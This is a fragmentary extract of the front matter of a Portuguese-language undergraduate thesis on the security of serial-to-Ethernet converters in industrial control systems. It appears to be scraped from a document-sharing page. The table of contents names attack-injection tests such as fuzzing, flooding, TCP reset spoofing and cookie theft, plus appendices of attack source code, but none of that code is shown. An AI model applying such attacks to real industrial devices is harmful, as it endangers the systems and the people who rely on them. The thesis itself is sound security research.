Signal Processing, 2007. PacRim 2007. IEEE Pacific Rim Conference on. [S.l.], 2007. p.
232–235.

TCC PDF

Transféré par

Informations du document

Titre original

Copyright

Formats disponibles

Partager ce document

Partager ou intégrer le document

Options de partage

Avez-vous trouvé ce document utile ?

Ce contenu est-il inapproprié ?

Droits d'auteur :

Formats disponibles

TCC PDF

Transféré par

Droits d'auteur :

Formats disponibles

Ildomar Gomes de Carvalho Junior

Análise de Segurança de Conversores Serial-Ethernet e

Análise de Segurança de Conversores Serial-Ethernet e

Relatório Final de Trabalho de Conclusão de Curso

Orientador: Rafael Rodrigues Obelheiro

Análise de Segurança de Conversores Serial-Ethernet e

Relatório Final de Trabalho de Conclusão de Curso

Rafael Rodrigues Obelheiro

Maurício Aronne Pillon

Agradeço ao professor Vilson Vieira por ter me apresentado a computação física.

Microcontroladores e conversores serial-Ethernet são utilizados em sistemas de con-

Palavras-chave: Injeção de Falhas; Injeção de Ataques; Módulos Embarcados; Conver-

Microcontrollers and serial-to-Ethernet converters are used in industrial control sys-

Keywords: Fault Injection; Attack Injection; Embedded Modules; Serial-Ethernet Con-

1.1 Organização do texto . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 10

2 Sistemas de Controle Industrial 11

2.1 Operação de um Sistema de Controle Industrial . . . . . . . . . . . . . . . 11

2.2 Componentes Chave de um SCI . . . . . . . . . . . . . . . . . . . . . . . . 13

2.2.1 Componentes de Controle . . . . . . . . . . . . . . . . . . . . . . . 13

2.2.2 Componentes de Rede . . . . . . . . . . . . . . . . . . . . . . . . . 14

2.3 Sistemas SCADA . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15

2.4 Sistemas de Controle Distribuídos (SCD) . . . . . . . . . . . . . . . . . . . 16

2.5 Módulos Embarcados Tibbo . . . . . . . . . . . . . . . . . . . . . . . . . . 17

2.5.2 Conversores Serial-Ethernet . . . . . . . . . . . . . . . . . . . . . . 20

3 Análise de Segurança de Implementações TCP/IP 23

3.1 Conceitos Básicos de Injeção de Faltas . . . . . . . . . . . . . . . . . . . . 23

3.2 Metodologia Para Teste de Robustez da Pilha TCP/IP . . . . . . . . . . . 24

3.3.1 Identificação de Sistema Operacional . . . . . . . . . . . . . . . . . 25

3.3.2 Varredura da pilha TCP/IP . . . . . . . . . . . . . . . . . . . . . . 27

3.3.2.1 Varredura TCP . . . . . . . . . . . . . . . . . . . . . . . . 28

3.3.2.2 Varredura UDP . . . . . . . . . . . . . . . . . . . . . . . . 30

3.5 Pacotes Malformados . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 32

3.5.2 Cabeçalho TCP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 35

3.5.3 Cabeçalho UDP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 36

3.5.4.1 Fuzzing de Protocolos de Base . . . . . . . . . . . . . . . . 38

3.5.4.2 HTTP Fuzzing . . . . . . . . . . . . . . . . . . . . . . . . 38

3.6 Inundação de Pacotes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39

3.7.4 IP Stack Integrity Checker . . . . . . . . . . . . . . . . . . . . . . . 42

4.1 Visão Geral . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 44

4.2 Ambiente de testes . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 45

4.6.2 Aleatoriedade Fraca do Número Inicial de Sequência . . . . . . . . . 52

4.7.1 Autocompletar Senha . . . . . . . . . . . . . . . . . . . . . . . . . . 56

4.7.3 Roubo de Cookie . . . . . . . . . . . . . . . . . . . . . . . . . . . . 58

4.7.4 Transmissão de Senha Não Criptografada . . . . . . . . . . . . . . . 61

4.7.4.1 Página Web . . . . . . . . . . . . . . . . . . . . . . . . . . 61

4.8 Discussão dos Resultados . . . . . . . . . . . . . . . . . . . . . . . . . . . . 65

5.1 Sugestão de Trabalhos Futuros . . . . . . . . . . . . . . . . . . . . . . . . . 69

A.1 Relatório do Nessus - Etherleak . . . . . . . . . . . . . . . . . . . . . . . . 72

A.2 Relatório do Nessus - Número de Sequência Inicial . . . . . . . . . . . . . . 74

A.3 Relatório do Nessus - Reset Spoofing . . . . . . . . . . . . . . . . . . . . . 76

A.4 Relatório do Nessus - Autocompletar Senha . . . . . . . . . . . . . . . . . 78

A.5 Código Fonte - Teste do Gerador de ISN . . . . . . . . . . . . . . . . . . . 79

A.6 Código Fonte - Reset Spoofing . . . . . . . . . . . . . . . . . . . . . . . . . 80

A.7 Código Fonte - Rouba Cookie, lado cliente . . . . . . . . . . . . . . . . . . 81

A.8 Código Fonte - Rouba Cookie, lado servidor . . . . . . . . . . . . . . . . . 83

Um microcontrolador é um dispositivo que contém processador, memória e dispositi-

Diante do extenso uso e evolução da automação, temos que assegurar o nível de

No caso de dispositivos conectados à Intranet de uma corporação ou à Internet, gran-

Segundo pesquisa da Symantec, ataques virtuais causaram prejuízos de R$ 3,3 milhões

Como o número de empresas que utilizam comunicação em rede e a Internet para

Levando em conta os aspectos considerados sobre a importância de operar um equipa-

A injeção de ataques é realizada por meio de envio de pacotes de dados especialmente

1.1 Organização do texto